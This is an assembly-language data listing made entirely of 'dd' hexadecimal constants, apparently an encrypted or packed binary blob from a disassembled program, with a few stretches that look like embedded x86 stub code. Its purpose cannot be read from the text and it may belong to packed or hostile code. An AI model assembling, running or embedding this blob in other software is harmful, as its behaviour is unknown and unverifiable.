		dd 0CE810FD1h, 26F5AE70h, 0F60C5E17h, 0F5A8F848h, 0D8A1FF7Ah
		dd 5EB68554h, 57A7F60Ch, 0F59743A1h, 0F27CA42h,	267200C2h
		dd 0BD6905C8h, 9F83CF1Fh, 0F106FBBEh, 49239159h, 0FC4CFF9Dh
		dd 0FF854EACh, 0E846FC4Ch, 82E09321h, 0BD7F32C0h, 971DE442h
		dd 3BDE94E4h, 0E0FD6E3h, 9F4B6D9Dh, 37FA4AFDh, 8ADAF030h
		dd 8A36940Fh, 6F2615E4h, 0E737F60Ch, 0C487E531h, 8F0A8538h
		dd 0C6F7DC0h, 0D884E2F6h, 0E3338336h, 8538BC85h, 58217F35h
		dd 5DD821D4h, 0FBAE36FFh, 0FE8A4DABh, 0A245FB4Bh, 3549FB88h
		dd 598993C3h, 0A5000000h, 0DD9014DBh, 0B32EB67Fh, 52059355h
		dd 21994C02h, 5219A47Eh, 5D2482CEh, 1AC624D7h, 9D63C174h
		dd 5A066417h, 0CA6D01B4h, 872A7370h, 2D2EE0AFh,	6A6E93C3h
		dd 8A000000h, 0BA8214DBh, 0EE69E434h, 0C671C1Fh, 3BF141F6h
		dd 0DE642A88h, 93AB4E2Bh, 1BE37F46h, 11F54191h,	108B19DBh
		dd 664EAB2h, 4CFFB543h,	0C67B37Dh, 5B5820F6h, 0C4E04B8Dh
		dd 43F64604h, 0E29523E5h, 55A59867h, 6ABAF60Ch,	8550EA8Dh
		dd 348437BDh, 0D06A0DE4h, 9F9E6DE8h, 0C0F60C55h, 581ABA70h
		dd 9893C361h, 1, 8A12DBB4h, 1CB679D7h, 0C717CA54h, 8D30C477h
		dd 0D55F28B5h, 0A236FC5Ah, 4C0252E0h, 0BBAD1100h, 904F7140h
		dd 1977FC13h, 3913C957h, 5CF70376h, 0B42AE8Dh, 9C5FAFF0h
		dd 3383DA7Fh, 0D15F2280h, 0EAAC0A85h, 0A359A95Ch, 43F68245h
		dd 0BB1C374h, 571A95F0h, 0BF9DC67Ah, 4C5D28Bh, 9AD36C06h
		dd 59F1944Ah, 0EF3BC98Ch, 0C6541674h, 53EFB210h, 36B1018Bh
		dd 0D38610D8h, 8AAA8958h, 63B3F00Bh, 4CAA5D13h,	3201D089h
		dd 2BF00B8Ah, 0CD8004CDh, 2ADD2D7Dh, 606DC568h,	23C30F9Dh
		dd 99CB1C61h, 0FC884BA9h, 115C346h, 4ADF0000h, 0AA79F474h
		dd 0FC138676h, 9F9E61BFh, 0B4798EEEh, 0F7AAFAA6h, 29A457A7h
		dd 0CD8004CBh, 6C1FAD6Fh, 0B816CC1Ch, 0BD1B67F5h, 5DBB6EFAh
		dd 995B0E9Ah, 0CE915CF6h, 78054DCFh, 0A6758DEAh, 0F00BCD97h
		dd 0D82878C8h, 0D92AEC8Ch, 496A99CAh, 86000000h, 7EF98D4Ah
		dd 53F9A503h, 0CB9A50A0h, 0F60C68D8h, 5322D525h, 0F60C67E0h
		dd 0B61E38DBh, 53069058h, 795E4D03h, 6C34920Dh,	29DF2FE2h
		dd 68ECDFAEh, 35B0F60Ch, 0B6850FD7h, 0F60C6787h, 0F8D288D8h
		dd 7C065CA8h, 22000000h, 0FAC9744Ah, 0F60C673Bh, 984D424h
		dd 6534E5ABh, 0F60C67D6h, 31E73787h, 88E5E7B6h,	0A5AFC13h
		dd 0AA36F957h, 9356B42Fh, 47073605h, 858F00Bh, 0E5A80652h
		dd 18868749h, 6F6A5BFCh, 9D50A0F0h, 0B2660CEh, 0ED4BC6F0h
		dd 96E69927h, 0D8E53DE0h, 2AB67915h, 1F9F8EDAh,	72FFCE49h
		dd 0D7FA1D3Dh, 792CB079h, 0C826D929h, 30C47705h, 2797B58Dh
		dd 0AF7C641h, 5FFC1336h, 4ADFC30Fh, 0AA79F474h,	0FC1A73C5h
		dd 0B02BDE2Eh, 0EB3F7BEDh, 97E79A22h, 0CE576D4h, 0A735F856h
		dd 0AE3AFD5Bh, 6E3DB833h, 0F002B4CFh, 0C2714090h, 9BF002B4h
		dd 0B4E25120h, 2B7BF002h, 892018DBh, 0DE932C37h, 24A67528h
		dd 0FF254B49h, 34F7C25Ch, 3BFE5CA8h, 0F09CFAADh, 64079B4Eh
		dd 853CFFCAh, 3BB687B6h, 3888D8DDh, 12CB8EECh, 3BB6F043h
		dd 9F3DE9DDh, 72C29CECh, 79F46F22h, 3BB68BAAh, 0D16433DDh
		dd 8EDD3BB6h, 5E14643Eh, 308h, 694D2400h, 0DB8E2EDBh, 7B2EBA7Dh
		dd 16C9571Dh, 0B366F0B8h, 4F028E55h, 0F3A62AF1h, 9043E995h
		dd 30E36932h, 0CF8210D2h, 76E0687Eh, 3C890000h,	0E2895224h
		dd 4C281h, 0EA830000h, 24148704h, 242C895Ch, 0A1868h, 24048900h
		dd 6ED7BA52h, 0E2C10ADCh, 16EA8108h, 8163FB10h,	9A44DDC2h
		dd 8BD5898Dh, 0C4832414h, 1E3A6804h, 24890000h,	24048124h
		dd 4, 4EC8358h,	8F242C89h, 34FF0840h, 0C4835824h, 242C8B04h
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF96B85h
		dd 21D9953Eh, 84B8E5C5h, 3060E10h, 0BBE0FFC5h, 83404C3Dh
		dd 2551ED09h, 0F105E2C7h, 0AA4AFE79h, 380AF6C6h, 833F72CFh
		dd 0D001D962h, 9F676732h, 770B4436h, 7D41FFC1h,	0CF4BE443h
		dd 955845Fh, 0CA107C4Fh, 932A1D7Eh, 0ED2045C4h,	0BE1991FFh
		dd 47DBE5Eh, 0EB2670B7h, 0F546722Eh, 597D35EFh,	172776A1h
		dd 6A4BDFB3h, 0B65ADD74h, 56111881h, 0B71CC3CDh, 0E86ECCCCh
		dd 7, 9D6F14BCh, 5343DB63h, 0A80BB966h,	8B665F5Bh, 33C781DAh
		dd 0F000065h, 13B8DAB7h, 0F000019h, 0E8Ah, 9E900h, 0D42F0000h
		dd 0C60F3AC5h, 0FF6084DBh, 0D7BF0F37h, 10E9505Eh, 0AE000000h
		dd 4B076150h, 0FCE0D4CCh, 0DCCA9805h, 5B9E2703h, 2097C681h
		dd 0BF0F0AFDh, 52EE81DAh, 816B9BCCh, 0E412DDC9h, 0C0F68123h
		dd 666EED2Fh, 0D9BBD981h, 0DE956h, 0A1560000h, 0D55993B6h
		dd 0D9AB5F83h, 8F3C086Fh, 0AE807h, 5F90000h, 0A0B182B3h
		dd 0BE5334CBh, 5840Fh, 81660000h, 5A6828DBh, 5001EF83h
		dd 0A5B2B966h, 4F4F4F5Bh, 47B966h, 1E881h, 850F0000h, 11h
		dd 2AE9h, 58B79C00h, 3DCC4215h,	1EEEB8EDh, 0BA666085h
		dd 0BB66DF53h, 0E96194BCh, 0FFFFFF57h, 0A4D0022Eh, 0A7C958CBh
		dd 87A51FA5h, 0EB39F8BDh, 8, 1EFB2300h,	4F9E910h, 90680000h
		dd 0E9060E13h, 0FFF96A05h, 0E140368h, 69FBE906h, 7B68FFF9h
		dd 0E9060E15h, 0FFF969F1h, 0CF1BC16Eh, 0D521AF71h, 0DA26AE77h
		dd 0E22ED07Ch, 0EB37BD84h, 0E0A7E001h, 0E2AA0854h, 0ECB2105Ch
		dd 0F9BC1A66h, 31AC1F6Bh, 275D362h, 0C9AD8CF0h,	0BC8214DBh
		dd 0F792B8C3h, 24748416h, 1ED12171h, 236FFDC0h,	0DD08A34h
		dd 0E5B42F7Fh, 0FC135153h, 3201B404h, 0F00B4D0Fh, 0D38628D4h
		dd 7528AC75h, 0B93610B3h, 0D197F570h, 981CE543h, 98E73FE2h
		dd 99CA58D6h, 32E16h, 0F2803200h, 984E4DAh, 137D1A3Ah
		dd 0B83383FCh, 0BACD1FF5h, 0B8448EBh, 2C515F0h,	45FB43C7h
		dd 5E521590h, 0FE94B19Eh, 5609935Ch, 6C3BB606h,	0F00B65C9h
		dd 0C1904696h, 0F576CCE7h, 58B51AFh, 5D4C0252h,	0BD8C0761h
		dd 771F5ABh, 2A19CC1Ch,	8A59D494h, 176EDD2h, 0CCC1D79Ah
		dd 334A8F14h, 0D853A37Dh, 0AE29B77Ah, 7E688FEBh, 0A3595E9Dh
		dd 0BB7EDC57h
		dd 5619772Dh, 65FC6BCAh, 0E194B979h, 3158Bh, 1EBE6B00h
		dd 24B274D2h, 2BB17AD8h, 37D581DFh, 3AC68DEBh, 0AAE304EEh
		dd 0B3115DE3h, 0B71561EBh, 0B91763F1h, 0AB1E6AF6h, 74D26130h
		dd 0AC8BF002h, 0E6744AC8h, 93E39624h, 0EF4DC843h, 9AEA9D27h
		dd 7A8215E4h, 0C313FC1Ah, 9D23EA48h, 0A82CF351h, 7E06CF2Dh
		dd 0F84615C8h, 0B0F00275h, 8AD76635h, 38880FFDh, 0D3612482h
		dd 0E9C9FD74h, 88DE91BAh, 2A2h,	3F8B31DEh, 45911FE1h, 4A961EE7h
		dd 529E40ECh, 5BA72DF4h, 50175071h, 521A78C4h, 5C2280CCh
		dd 692C8AD6h, 0A11C8FDBh, 27363D2h, 391DFCF0h, 79F4744Ah
		dd 1A7A2FAAh, 752878FCh, 4CDA9CFAh, 0C4934999h,	0F002757Dh
		dd 317ED87Bh, 99D13D6Fh, 1E2AFh, 60BECB00h, 2114E398h
		dd 3EF60C67h, 9BEB9EEEh, 3BEE7A3Dh, 14D735EBh, 0B477D588h
		dd 159E3AFDh, 146A6EF1h, 0C67F645h, 0C71767F6h,	9F3D007Bh
		dd 0C8ADF20Bh, 0A2F27A43h, 0A7C1FDECh, 9C235D2Ch, 4494FC13h
		dd 0C4531691h, 9016135Eh, 1827F6ACh, 0DEF00B4Bh, 0D294E33Bh
		dd 1299CA56h, 3Bh, 0E9773997h, 4C30E636h, 0B9960BEh, 63520858h
		dd 17920D5Bh, 676ECD9Ch, 9FEFF60Ch, 3EF47841h, 13756D6Fh
		dd 0AF62B2FCh, 0B6A51E0h, 5AF497F0h, 0CA3B8B4Dh, 0DACB99h
		dd 0BEE70000h, 67C17443h, 4E9EF60Ch, 0E9773A98h, 8311D836h
		dd 21AF72D0h, 0B14D106Eh, 49254EEh, 10CF1B4h, 0D94CBFFh
		dd 0BDA271BDh, 75F60CC0h, 10C35117h, 0E9AC0AC0h, 731DE05Bh
		dd 8EA6FE6Ch, 47C3A164h, 0F8DE32C6h, 0B707F642h, 814ADCA3h
		dd 0A8F848FBh, 0DE0EDD58h, 1FFC16C0h, 5ED954CFh, 51FAC8Fh
		dd 6736B1F0h, 0F0051FD4h, 33E93989h, 36820ED5h,	0FEA8F8BBh
		dd 57C4B1EFh, 0F87C43A1h, 0D1BCE299h, 2D8336AEh, 12Ah
		dd 0B703A956h, 0BD099759h, 0C20E965Fh, 0CA16B864h, 0D31FA56Ch
		dd 0C88FC8E9h, 0CA92F03Ch, 0D49AF844h, 0E1A4024Eh, 19940753h
		dd 272EB4Ah, 0B19574F0h, 449014DBh, 9B6A23E6h, 0F60C6798h
		dd 541775C5h, 0B12C78C8h, 4E018B53h, 0E79A44F0h, 0AD914797h
		dd 118C18DBh, 915707B3h, 0B0005003h, 26E947FAh,	10D34E9Ah
		dd 71BD0C8Ah, 18A6C492h, 0F5A58FE9h, 0BE00EFA5h, 38835D37h
		dd 0DC3AE4D0h, 88D88B19h, 0F5EEBD38h, 5EFC136Bh, 83ADF49Bh
		dd 0FE4E299Ch, 0D25E2583h, 3388B786h, 9659F00Bh, 9960BE0Ah
		dd 0B4833AFDh, 0F00B3381h, 8B3E8EDEh, 0E238EB3Bh, 76h
		dd 1E1DEC67h, 3FF00B33h, 4A5539EFh, 0AA79F474h,	0FC1A7A13h
		dd 0FE792C7Ch, 0DA678B3Bh, 6E24925Eh, 73BF4D10h, 13C65215h
		dd 13989544h, 69C1640Ah, 0BF0B995Ch, 97129E61h,	3BEE7239h
		dd 92A170EBh, 0CBE61247h, 0B412C57Bh, 55B36608h, 0F4520593h
		dd 78F0A331h, 0EA7E7DD5h, 1FE2EF47h, 24E74591h,	0C6AE598h
		dd 64FDC046h, 0C7112F41h, 3EB41F7h, 7000000h, 2EDB694Dh
		dd 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h
		dd 0E995F3A6h, 69329043h, 10D230E3h, 517ECF82h,	0C181E189h
		dd 4, 4E981h, 0C870000h, 0C895C24h, 0E3895324h,	4C381h
		dd 0EB810000h, 4, 5C241C87h, 56243489h,	0C681E689h, 4
		dd 8704EE83h, 895C2434h, 0BF572414h, 217A5B9Ah,	886E2DBEh
		dd 8BFE2927h, 0C481243Ch, 4, 24148B54h,	4C481h,	0EC810000h
		dd 4, 81243489h, 2565242Ch, 428F2A68h, 8428108h, 2A682565h
		dd 5A2434FFh, 8B04C483h, 89512434h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 651FE95Ch, 0DEF4FFF9h, 89431738h, 0B8644E70h
		dd 60E16CAh, 0E0FFC503h, 2E94CB96h, 65969FA4h, 4ABBE441h
		dd 317B431Fh, 7A1897A1h, 0EDE9h, 8C666000h, 0F04A8D8h
		dd 0DF84h, 9B58B00h, 8306071Ch,	850F00FEh, 22h,	152585C6h
		dd 68450607h, 8E726969h, 2939B5FFh, 858D0607h, 60A70F4h
		dd 8589D0FFh, 607191Dh,	3E80F08Bh, 31850FE9h, 8D000000h
		dd 0C659785h, 8BD0FF06h, 71B75BDh, 84C78106h, 8B000011h
		dd 71C09B5h, 0B9F78706h, 8, 0B58BA4F3h,	6071C09h, 1F4B858Dh
		dd 0D0FF060Bh, 2715B58Bh, 0FE830607h, 22850F00h, 0C6000000h
		dd 7152585h, 0F4685406h, 0FFFF4EBEh, 72939B5h, 0F4858D06h
		dd 0FF060A70h, 158589D0h, 8B060727h, 0E93E80F0h, 3A850Fh
		dd 0B58B0000h, 6072715h, 6597858Dh, 0D0FF060Ch,	1B75BD8Bh
		dd 0C7810607h, 1184h, 8B08C783h, 72715B5h, 0B9F78706h
		dd 8, 0B58BA4F3h, 6072715h, 1F4B858Dh, 0D0FF060Bh, 858DC361h
		dd 60E1790h, 29058589h,	8D8D0607h, 60E1986h, 1161958Bh
		dd 85890607h, 6071C05h,	0A018D89h, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 4E526DC3h
		dd 64F68336h, 85C707CEh, 60714A5h, 681Ch, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 14h, 0E9C35141h, 1058D89h
		dd 85C70607h, 6072FD5h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B6C35343h
		dd 54412BADh, 0F1EA4B5h, 0C89h,	68D0F00h, 8B000000h, 70599BDh
		dd 0E5BD0106h, 0FF060712h, 7045DB5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 89E366E0h
		dd 72C7985h, 1995FF06h,	0E906071Ch, 14h, 79013164h, 0B634C0C8h
		dd 0BD2B1928h, 0D918ACB4h, 45A44A8Eh, 95FF006Ah, 6071B69h
		dd 7DEBC08Bh, 0CCF8AA31h, 0A1D19653h, 6711C11Fh, 0B04781D5h
		dd 0C67BBBE7h, 17A9EBFh, 0E17BEC6Ch, 831E448Ah,	2A1E4DDEh
		dd 1793820h, 0DF5B4EF1h, 34611F01h, 0D30F8DE1h,	623B7FF8h
		dd 0E2A47975h, 5D97DB47h, 1EC18223h, 966262B6h,	0D26A1B22h
		dd 5C9BA663h, 0CD8F7030h, 0B22BA876h, 0CF4993E6h, 818377A5h
		dd 7AA451E5h, 7808FBAFh, 0F415B268h, 827294FFh,	0EDC2063Ah
		dd 3F79DE17h, 0B1A86CDDh, 9704EB4Eh, 0E94E3A5Fh, 0D60h
		dd 0E1BDE68h, 6267E906h, 0D068FFF9h, 0E9060E1Ch, 0FFF9625Dh
		dd 0E1F0568h, 6253E906h, 0E68FFF9h, 0E9060E20h,	0FFF96249h
		dd 0E232E68h, 623FE906h, 9968FFF9h, 0E9060E24h,	0FFF96235h
		dd 0E25A468h, 622BE906h, 8734FFF9h, 793B99E5h, 78419FEBh
		dd 9E4AA8F4h, 8F56B400h, 0AACBB501h, 0DA26AA71h, 0DE2AB47Ch
		dd 0E02CBA80h, 0E531BF82h, 1528F772h, 4AF0027Dh, 0C992F06Bh
		dd 0DBA98D43h, 7BD98C18h, 1B792CB8h, 0BE1CCF55h, 5EBC6FF5h
		dd 2114E39Ch, 3EF60C67h, 8DEB9EEEh, 368639C7h, 5F9CB659h
		dd 0C30E28CBh, 189E6600h, 79C51565h, 81B483FEh,	0DEF60C67h
		dd 0B37AD88Eh, 0C083E12Dh, 60238134h, 0AF0D88D4h, 0BAA95FEDh
		dd 1AE96404h, 0FC136AE6h, 7D4CFF4Fh, 0F00B65B2h, 3356731Fh
		dd 5D96471h, 0C3863989h, 2CDE048Fh, 854CAA77h, 0E78A4CFFh
		dd 0A447904Fh, 0DC3BFD8Ah, 327B99CAh, 97000000h, 79F4744Ah
		dd 10423BFEh, 0E1212395h, 2A785C2Bh, 55A5FC13h,	356CD3A2h
		dd 0E78AF00Bh, 807E404Fh, 0E4BE99CAh, 43000000h, 2453580h
		dd 661CAEE6h, 7E18DB82h, 27772AB8h, 0FFC624D7h,	0EE91A5FEh
		dd 4494EDF6h, 0E4703391h, 1C1FEE69h, 0BDF60CF5h, 44946EFAh
		dd 260DB8Eh, 0B000B339h, 3DD99CFAh, 539FEF75h, 0CFE9E84h
		dd 12AC6FF6h, 2773C349h, 0C77A06C9h, 7142EE4Ch,	0CF193A2h
		dd 2C7CCCF6h, 31378776h, 0E8DE7B6h, 0C641FC13h,	0BC144F7h
		dd 13C919F0h, 0AE9DE939h, 62DD5810h, 1B44204h, 6D2CFBB1h
		dd 0BAFA11B4h, 0D6CEBFF7h, 6C06C8CDh, 2BD79AC9h, 128DDD92h
		dd 1B67EDB4h, 0B6AF6BDh, 0B4CDAFFAh, 0C0055B0Eh, 0B900000Ah
		dd 0C624700Ch, 0CC2A7604h, 0CF2D7903h, 0CF2D7923h, 46307C08h
		dd 971DE425h, 9F25ED4Bh, 0A12FF553h, 0A834F755h, 9F6EE95Ch
		dd 0F0027C9Ch, 0DBFEE2C1h, 0E6449014h, 0BC1A9523h, 69B96CFAh
		dd 4A8367B3h, 0AA79F474h, 0FC13752Ah, 0A1702373h, 0F00B6A9Eh
		dd 41F48043h, 0C0891DE3h, 5C39EC3Ch, 196261B9h,	31F4DC76h
		dd 4864B731h, 6404BAEAh, 99CAD4A2h, 0D7E2h, 18DBFE00h
		dd 0B47BD98Ch, 8F57B530h, 4C025205h, 6C44CA99h,	6629F60Ch
		dd 2C7C0ACCh, 31BF82E0h, 392F8F7Eh, 9C95EFBEh, 0FB59FC13h
		dd 844DAB39h, 20704A00h, 34FB59D4h, 0F7ADFDB0h,	37B2B608h
		dd 0BD8012D9h, 0DC2C7C2Fh, 2EDCAB26h, 0F2FA113Bh, 0F495A877h
		dd 7ACAF602h, 1F9AEAC4h, 2A76FAC1h, 2417ECAFh, 9514D568h
		dd 31E47037h, 6CD2BE1h,	12F41B7Ah, 994CB4CDh, 9CE43h, 5EFEAB00h
		dd 64F2B412h, 6BF1BA18h, 7715C11Fh, 7A06CD2Bh, 0EA23442Eh
		dd 0F3519D23h, 0F755A12Bh, 0F957A331h, 0EB5EAA36h, 7B92A170h
		dd 0ECCBF002h, 9014DB08h, 3E775215h, 99B87198h,	0FDD9DAD6h
		dd 0C77D9D37h, 0A85007Bh, 0CBCF83Bh, 461565F6h,	0F60CBCF7h
		dd 4621868h, 8367B341h,	0B77E18DBh, 0C826D929h,	5C2B7705h
		dd 0F60C67D5h, 32AD3BFEh, 0D1870DD4h, 0D8642785h, 854CAA25h
		dd 46FC4CFFh, 0E49725E8h, 682ABE86h, 87D727DAh,	28AE76D4h
		dd 0FC56F975h, 809A3DFFh, 9AE67235h, 0C32F38FAh, 0B4BD8093h
		dd 0E1F8FFF4h, 1752513Fh, 39FC8954h, 0CE0083h, 27850000h
		dd 0B177D55Fh, 0BE896D23h, 560C9A60h, 96115767h, 139615C7h
		dd 0BF3A8AFCh, 49C67544h, 4797F00Bh, 200FDE91h,	0B1F00B49h
		dd 55B366EAh, 0D24E018Fh, 1A65172Fh, 0ACCE5DFDh, 50F33C8Ch
		dd 15E7A9F6h, 852799CBh, 43000000h, 0C67C66Ah, 0CE90EEF6h
		dd 873D8D40h, 72342698h, 9E1994E4h, 3AF07E40h, 1397DD6Bh
		dd 8EDA2AFCh, 28DB6930h, 0E9B88539h, 0F00B484Ah, 0F873C313h
		dd 145D2B29h, 0A92474FAh, 6D5844Bh, 0F60C4237h,	0D88D828h
		dd 0C42FF3Eh, 5A1060F6h, 5CEAB00Eh, 0A49766E1h,	0B9F60C42h
		dd 1100B369h, 0C540BBADh, 62159F67h, 238D5C12h,	34FC1352h
		dd 50A669E4h, 7F9239Ah,	97ED39EFh, 513h, 69F7BE1Ch, 0CCB066B6h
		dd 79F4744Ah, 13739EAAh, 298346FCh, 8309D1DFh, 0E5BD80D0h
		dd 13EDA309h, 379510C3h, 49ECBB6Eh, 16F00B51h, 73C376C6h
		dd 5143EEBDh, 2A5F00Bh,	60995B28h, 0D0D999CAh, 0F5000004h
		dd 0FD5BFF80h, 0ACFCAF35h, 0A3B707F6h, 890454E0h, 137D9ABAh
		dd 0FEB303FCh, 0D68D232Fh, 1D4B7399h, 8F6427A2h, 745AE031h
		dd 75FBC220h, 0AE04F0BFh, 6AC853D1h, 0FCBF1DA3h, 90E0BA70h
		dd 98D0EEDDh, 5827A21Dh, 5FC951E5h, 0A5742A7Ah,	55D3EE86h
		dd 0CE2CA7F7h, 0B6317D0Bh, 21C96C3Bh, 389659C3h, 3795E56Fh
		dd 0D432E874h, 0F5248311h, 19050C77h, 7991066h,	33E00000h
		dd 1DDF3D89h, 1CE5438Fh, 42EE4C98h, 2BF2509Ch, 4E6F59A5h
		dd 6EBA460Dh, 72BE4810h, 7CC84E14h, 81CD5B1Eh, 71C4930Eh
		dd 0EEF00278h, 18DB2B0Fh, 0F74E118Ch, 0BA9F200Eh, 849D985Bh
		dd 8FDBCBBAh, 873726D9h, 159766E1h, 6AFC137Eh, 7B419F1Ah
		dd 854BA9F5h, 0BE7D4CFFh, 0AAF00BB1h, 0F00BA187h, 0A7F203BBh
		dd 844D45h, 0A403513Dh,	29F0809Fh, 4191E103h, 2BED4BC6h
		dd 0EB793F9Dh, 6332E838h, 0FA145435h, 905F1262h, 0F60C5BA1h
		dd 0FD8AA447h, 93C36B3Bh, 217Bh, 744A9700h, 591B79F4h
		dd 12C818CBh, 68D8C897h, 0FD4DFC13h, 0D25C2482h, 6619CF1Fh
		dd 3F10h, 744A2C00h, 0A0FE79F4h, 0C6954BD9h, 0FC137EEEh
		dd 81827C3Fh, 37EA783Ah, 0B09524E7h, 0A5F57F47h, 0B37CDA55h
		dd 0A69EEDB6h, 0AFFFB90Bh, 43F6ACFCh, 0F3A46AC8h, 0B901124h
		dd 0AEFE4EF0h, 11F5ABFBh, 2D8C18DBh, 0B4DBBDF6h, 90095F12h
		dd 0E9000006h, 0F654A03Ch, 0FC5AA634h, 0FF5DA933h, 0FF5DA953h
		dd 7660AC38h, 0C74D1455h, 0CF551D7Bh, 0D15F2583h, 0D8642785h
		dd 0CF9E198Ch, 0F002476Ch, 4A2E12F1h, 0AA79F474h, 0FC1397E6h
		dd 0B12CDF2Fh, 55088C53h, 2EF14F05h, 7DDB56A2h,	2C7C2FB5h
		dd 8D19A776h, 9E391B50h, 11AD9CE8h, 9261DC57h, 0D74072A3h
		dd 3BB66CBCh, 5F6B506Ch, 0BA6DBDDDh, 0C00C9A5Ch, 7BEDD1h
		dd 2303D03Dh, 1DD3C80Dh, 9F85D3A2h, 0C212DB58h,	7436940Fh
		dd 20E333E6h, 0BFC820BFh, 0E6B56B86h, 0D740C25Bh, 18C4229Dh
		dd 6700C376h, 7CCD306Eh, 8427DD2Dh, 0DDA402AAh,	9E54A457h
		dd 0FE53CFEh, 1527CB5h,	4A980000h, 1B79F474h, 932D5C55h
		dd 0BFE6FB3Ah, 6F3EB96Fh, 0FC1312A1h, 95F3A6F6h, 0CBFFD3D2h
		dd 0D9C81D4Eh, 1CDF3D89h, 0A20EDD90h, 151B5054h, 4A0DD872h
		dd 228043BEh, 961375C4h, 116FBB71h, 75C8974Eh, 0EAD74047h
		dd 0CCF4A9Ah, 0F8296056h, 0DAA0FE66h, 9349994Ch, 3E0765E0h
		dd 0FDB303B6h, 1BBA822Eh, 0DC76193Ch, 47C24E11h, 8A2920E9h
		dd 8FC8FD81h, 0BC08BE0Eh, 5A0D9B5Eh, 0A01B6D6Bh, 6A04C725h
		dd 15CB1BA1h, 0BD91746h, 0C389E7F0h, 843A8A3Dh,	1F0E5AAAh
		dd 7F4EC99Fh, 0FA142659h, 88037ECEh, 0A59152C5h, 0D8A7C161h
		dd 0F60C9865h, 0C9E7AAFAh, 9894CCF3h, 52CD8036h, 0EDA331F4h
		dd 6B32CC8Fh, 0A348EBBAh, 0C515F60Ch, 9965B275h, 0B5073126h
		dd 0C98CEA65h, 8238883Bh, 9A5DBB36h, 11E05B0Eh,	0F60CDE22h
		dd 0E59BEB3Bh, 8538C487h, 0CD16FB6h, 0CB6306F6h, 35D783E1h
		dd 1A6F3282h, 0FDE36DA6h, 0CA8DEBA1h, 8FDF6D30h, 98A77443h
		dd 0F0E76A60h, 29EC4A96h, 0F6DE89Bh, 0BA0ABD47h, 0E563504h
		dd 66090800h, 3F3E01CCh, 160819BDh, 3884D45Ah, 0D68917DAh
		dd 1691D7E7h, 0EB3947h,	0E9AF0D0Eh, 7BCBA55Bh, 0AA56B42Fh
		dd 32F84E04h, 14000000h, 79F4744Ah, 136826AAh, 53AC6FFCh
		dd 0CDD9444Dh, 28863989h, 0C98CD866h, 0D34ED1B3h, 0B6B3104h
		dd 28DE2EF0h, 6EE99F39h, 0B64649Fh, 2A79C9F0h, 37FBBE46h
		dd 0E0320606h, 0A164C278h, 0E6D8C713h, 60380782h, 14FC130Eh
		dd 2590F251h, 0F36E1778h, 0B6E1124h, 48FE4EF0h,	45A31E6Eh
		dd 0C641F77Dh, 0C814A268h, 9B29EF4Dh, 33E9773Dh, 87560FD5h
		dd 0F00B6EB4h, 560959A9h, 96115767h, 1493C5C7h,	37EA3AFAh
		dd 0C4CD968h, 234579F6h, 0E56A2DA8h, 7492166Bh,	2BDE642Ah
		dd 6D58BDBh, 0FC1363D2h, 7140F343h, 0F00B6CCEh,	0DEAD8528h
		dd 99CA3A1Ch, 345Ch, 744A7800h,	26AA79F4h, 0CEFC1368h
		dd 67B18453h, 33AEF00Bh, 0B67D164h, 0EE3E8EF0h,	5B0E5E38h
		dd 2405h, 400F8A00h, 0F00B67FDh, 0B83E0462h, 0AF65B505h
		dd 0F4744ACBh, 7E12AA79h, 2B7BFC13h, 0D99FFD78h, 9248984Bh
		dd 9860BEAEh, 550B5B0Eh, 49A834F7h, 0B4DBBEE4h,	706FC578h
		dd 9000003h, 1674C05Ch,	1C7AC654h, 1F7DC953h, 1F7DC973h
		dd 9680CC58h, 0E76D3475h, 0EF753D9Bh, 0F17F45A3h, 0F88447A5h
		dd 0EFBE39ACh, 0F002444Ch, 0DB4E3211h, 2CD27E18h, 8CB29DCh
		dd 7D41307Ch, 0C77645C0h, 98F60C67h, 67BA7948h,	53A3F60Ch
		dd 51A12FF5h, 0A98C5BD6h, 32F60C67h, 0BE0EE886h, 0B4128D08h
		dd 0E2B167EDh, 0FC136AAEh, 9914C717h, 0F1C0793Bh, 0F00B6542h
		dd 1D7BCB1Bh, 4918CE5Ah, 0F00B65E6h, 0B6C55D00h, 99CA2CF4h
		dd 287A793Ch, 5E93FCDh,	44CC4Fh, 4AE80000h, 3BFAC974h
		dd 24F60C67h, 0C1741AC6h, 0FCC32171h, 2575C578h, 75F9DBAAh
		dd 0C826FC13h, 0B87B4AFFh, 0A5F00B6Ah, 6F420555h, 0A96AC057h
		dd 5E2DE030h, 0F00B80D3h, 0CBD87215h, 99CB1609h, 0D749h
		dd 60BE6500h, 0B5B0E98h, 0A834F755h, 44D097F5h,	1DBF6BC9h
		dd 0F3BC1A6Ah, 0A200B369h, 5BD651DFh, 0C67A98Ch, 0F74615F6h
		dd 68F60C67h, 90EE3E18h, 0D4873DC7h, 0AA25B376h, 46F9834Ch
		dd 25F440F6h, 0F60C6C39h, 71BD4B0Eh, 8A515013h,	0F543CD5Eh
		dd 0FFEB101h, 6F3EB9AFh, 0FC1380A9h, 0CA63BFEh,	7C9C1F9h
		dd 427C6BB7h, 0A6DCAB26h, 0BFA11E4h, 1BE240BBh,	419F1A95h
		dd 1023F27Eh, 4DF6023Bh, 9DFB47FDh, 4CEB4AD6h, 44B4CD62h
		dd 2053B91h, 0C7740000h, 0B97BD925h, 0B881DF2Bh, 0DE8AE834h
		dd 0CF96F440h, 0EA0BF541h, 1A66EAB1h, 1E6AF4BCh, 206CFAC0h
		dd 2571FFC2h, 0D56837B2h, 8AF00243h, 43BEC7ABh,	0C67C174h
		dd 984E9EF6h, 16DF733Ah, 94F23E8Eh, 13F743D1h, 79F4744Ah
		dd 13752AAAh, 702373FCh, 0B6A9EA1h, 9DB558F0h, 0CA3C4C0Eh
		dd 6E369499h, 2FE535E8h, 0D9ACh, 18DBC800h, 9E4E118Ch
		dd 0B71CE911h, 0FE792CE2h, 5C3D093Bh, 70262064h, 31524B12h
		dd 56EF6200h, 0F5702373h, 9144D097h, 44F7C641h,	19F60CF2h
		dd 0DE4413C9h, 92F60CF9h, 0ED67234h, 35853888h,	5F5E217Fh
		dd 46526B43h, 31ACFC88h, 0C257D16Eh, 81372473h,	8814D735h
